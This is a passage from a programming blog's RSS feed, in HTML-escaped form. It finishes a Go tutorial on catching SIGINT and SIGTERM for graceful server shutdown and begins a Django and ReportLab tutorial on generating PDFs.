style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    signal.&lt;span style=&#34;color:#57c7ff&#34;&gt;Notify&lt;/span&gt;(quit, syscall.SIGINT, syscall.SIGTERM)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    s &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;-&lt;/span&gt;quit&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Closing server&amp;#34;&lt;/span&gt;, s)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// ... &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Finally, for this function to run correctly, we need it to run inside its &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-introduction-to-goroutines-and-concurrency/&#34;&gt;own goroutine&lt;/a&gt;&#xA;. To do this, simply prefix the function call with the keyword go.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;main&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;gracefulShutdown&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;capturing-a-signit-signal&#34;&gt;Capturing a SIGNIT signal&lt;/h3&gt;&#xA;&lt;p&gt;If we run a web server or any other permanent process and then issue a SIGNIT signal by pressing CTRL + C in the terminal or with the kill command, linux will receive the signal and notify our application to shut down.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;go run main.go&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Starting server Pid: &lt;span style=&#34;color:#ff9f43&#34;&gt;8830&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;kill&lt;/span&gt; -2 &lt;span style=&#34;color:#ff9f43&#34;&gt;8830&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Closing server interrupt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Consider that the Pid may be different for you.&lt;/p&gt;&#xA;&lt;h3 id=&#34;capturing-a-sigterm-signal&#34;&gt;Capturing a SIGTERM signal&lt;/h3&gt;&#xA;&lt;p&gt;To emit a SIGTERM signal, we execute the GNU/Linux kill command, which will terminate the application. Our application will receive the signal through the channel and execute the rest of the code.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;go run main.go&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Starting server Pid: &lt;span style=&#34;color:#ff9f43&#34;&gt;9619&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;kill&lt;/span&gt; -15 &lt;span style=&#34;color:#ff9f43&#34;&gt;9616&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Closing server terminated&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Of course, ideally, you should go beyond printing a message and take care of all those tasks you want that require a more orderly completion process.&lt;/p&gt;&#xA;&lt;h2 id=&#34;example-of-graceful-shutdown-with-a-web-server&#34;&gt;Example of graceful shutdown with a web server&lt;/h2&gt;&#xA;&lt;p&gt;I leave you the complete example with a web server written entirely in go.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;package&lt;/span&gt; main&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;fmt&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;log&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;net/http&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;os&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;os/signal&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;syscall&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;getRoot&lt;/span&gt;(w http.ResponseWriter, r &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;http.Request) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;//io.WriteString(w, &amp;#34;This is my website!\n&amp;#34;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    w.&lt;span style=&#34;color:#57c7ff&#34;&gt;Write&lt;/span&gt;([]&lt;span style=&#34;color:#ff5c57&#34;&gt;byte&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;This is my website\n&amp;#34;&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;gracefulShutdown&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    quit &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;make&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;chan&lt;/span&gt; os.Signal, &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    signal.&lt;span style=&#34;color:#57c7ff&#34;&gt;Notify&lt;/span&gt;(quit, syscall.SIGINT, syscall.SIGTERM)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    s &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;-&lt;/span&gt;quit&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Closing server&amp;#34;&lt;/span&gt;, s)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    os.&lt;span style=&#34;color:#57c7ff&#34;&gt;Exit&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;main&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pid &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; os.&lt;span style=&#34;color:#57c7ff&#34;&gt;Getpid&lt;/span&gt;() &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Starting server Pid:&amp;#34;&lt;/span&gt;, pid)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;gracefulShutdown&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    http.&lt;span style=&#34;color:#57c7ff&#34;&gt;HandleFunc&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/&amp;#34;&lt;/span&gt;, getRoot)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; err &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; http.&lt;span style=&#34;color:#57c7ff&#34;&gt;ListenAndServe&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;:8000&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#ff6ac1&#34;&gt;nil&lt;/span&gt;); err &lt;span style=&#34;color:#ff6ac1&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;nil&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;log.&lt;span style=&#34;color:#57c7ff&#34;&gt;Fatalf&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Server init process failed Error: %v&amp;#34;&lt;/span&gt;, err.&lt;span style=&#34;color:#57c7ff&#34;&gt;Error&lt;/span&gt;())&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;After running it, try to cancel the application with CTRL + C or with the terminal with the kill command, and see how the message is printed and the application is terminated in a more orderly and controlled manner.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;go run main.go&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;CTRL + C&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Starting server Pid: &lt;span style=&#34;color:#ff9f43&#34;&gt;8830&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Closing server interrupt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content:encoded>
      <summary>&lt;p&gt;Today I&amp;rsquo;m going to talk about a topic that is often overlooked in most tutorials: handling application closing. What do I mean? To those times when you have to close an application, but there may be pending tasks running, open connections or you simply want to leave a record, in the form of a log, that the application was closed.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/en/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    Hey! did you know that I wrote a completely Free Go programming language tutorial?, click here to read it it&lt;/a&gt;&#xA;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Generating PDFs with Django and Reportlab</title>
      <link>https://coffeebytes.dev/en/django/generating-pdfs-with-django-and-reportlab/</link>
      <pubDate>Thu, 22 Sep 2022 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/django/generating-pdfs-with-django-and-reportlab/</guid>
      
      <category>django</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;With django and reportlab we can generate PDFs dynamically, using information from our database, user input or any other business logic we want.&lt;/p&gt;&#xA;&lt;h2 id=&#34;installation-of-reportlab&#34;&gt;Installation of reportlab&lt;/h2&gt;&#xA;&lt;p&gt;The first thing will be to install reportlab, we can use pip, pipenv or any other package manager you want.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install reportlab&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# pip install reportlab&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;define-pdf-response-type-in-django&#34;&gt;Define PDF response type in Django&lt;/h2&gt;&#xA;&lt;p&gt;Once installed, the first lines we will write will be to make sure that the browser knows that we will return a pdf, we will do it through an HTTP header, the Content-Type header, through the &lt;em&gt;content_type&lt;/em&gt; variable.&lt;/p&gt;&#xA;&lt;p&gt;We will then tell it to open it as an attachment, in a new window. I will show you how it looks step by step, for didactic reasons, but &lt;strong&gt;you need to save in the response object the pdf before you can see it on your screen&lt;/strong&gt;, I will do it a little later.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; reportlab.pdfgen &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; canvas&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.http &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; HttpResponse&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;pdfVideogame&lt;/span&gt;(request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    response &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; HttpResponse(content_type&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;application/pdf&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    response[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Content-Disposition&amp;#34;&lt;/span&gt;] &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;attachment; filename=&amp;#34;hello.pdf&amp;#34;&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;create-a-text-pdf-in-django&#34;&gt;Create a text PDF in Django&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;To begin with we are going to create a canvas to write on it.&lt;/p&gt;&#xA;&lt;p&gt;This library works as if we were painters, we can only have one brush active, each different brush stroke (font, font size or color) requires us to change brush (set another text size, font or color).&lt;/p&gt;&#xA;&lt;p&gt;As you know, the first thing a painter needs is a canvas, for this the Canvas method is perfect.&lt;/p&gt;&#xA;&lt;p&gt;Then, as if we were choosing a brush, we will choose our font and size.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;pdfVideogame&lt;/span&gt;(request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; canvas&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Canvas(response)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;setFont(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Courier&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;28&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now we are going to use that font to &amp;ldquo;draw&amp;rdquo; a string at position 0 and 0.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;pdfVideogame&lt;/span&gt;(request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span 